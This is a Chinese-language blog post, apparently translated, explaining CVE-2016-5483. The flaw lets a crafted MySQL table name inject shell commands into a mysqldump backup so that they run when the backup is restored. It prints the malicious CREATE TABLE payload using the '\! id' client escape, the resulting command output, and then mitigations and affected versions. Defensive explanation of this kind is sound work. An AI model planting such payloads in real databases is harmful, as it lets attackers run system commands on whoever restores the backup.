mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句
而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令
1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 Wordpress 等开源系统,就很有可能被黑客搞定
2)黑客具有 CREATE TABLE 权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行
GRANT ALL PRIVILEGES ON wordpress.*
3)使用 mysqldump 进行常规备份
4)黑客想要提升他们的权限,进而可以访问操作系统
首先创建一个恶意表
CREATE TABLE `evil
\! id
select user(),@@version/*` (test text);
之后使用 mysqldump 备份数据库
在正常情况下,dump 文件中应该是这样的结构
--
-- Table structure for table `tablename`
--
而现在则会变成这样
--
-- Table structure for table `evil
\! id
select user(),@@version/*`
--
然后使用 dump 文件导入数据库
mysql test < test.dump
输出信息:
uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user() @@version
root@localhost 5.7.17-log
可以看到,已经成功执行了系统命令
使用 mysqldump 时设置 --skip-comments
撤回建表权限
尽量只 dump 表数据
这个问题比较普遍,需要注意,涉及的数据库包括:
数据库 | 版本 |
---|---|
MySQL | 所有版本 |
MariaDB | <= 5.5.52 且 < 10.1 |
Percona | 所有版本 |
本文翻译整理自
https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups
这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考
原文来自:性能与架构
声明:所有来源为“聚合数据”的内容信息,未经本网许可,不得转载!如对内容有异议或投诉,请与我们联系。邮箱:marketing@think-land.com
支持全球约2.4万个城市地区天气查询,如:天气实况、逐日天气预报、24小时历史天气等
支持识别各类商场、超市及药店的购物小票,包括店名、单号、总金额、消费时间、明细商品名称、单价、数量、金额等信息,可用于商品售卖信息统计、购物中心用户积分兑换及企业内部报销等场景
涉农贷款地址识别,支持对私和对公两种方式。输入地址的行政区划越完整,识别准确度越高。
根据给定的手机号、姓名、身份证、人像图片核验是否一致
通过企业关键词查询企业涉讼详情,如裁判文书、开庭公告、执行公告、失信公告、案件流程等等。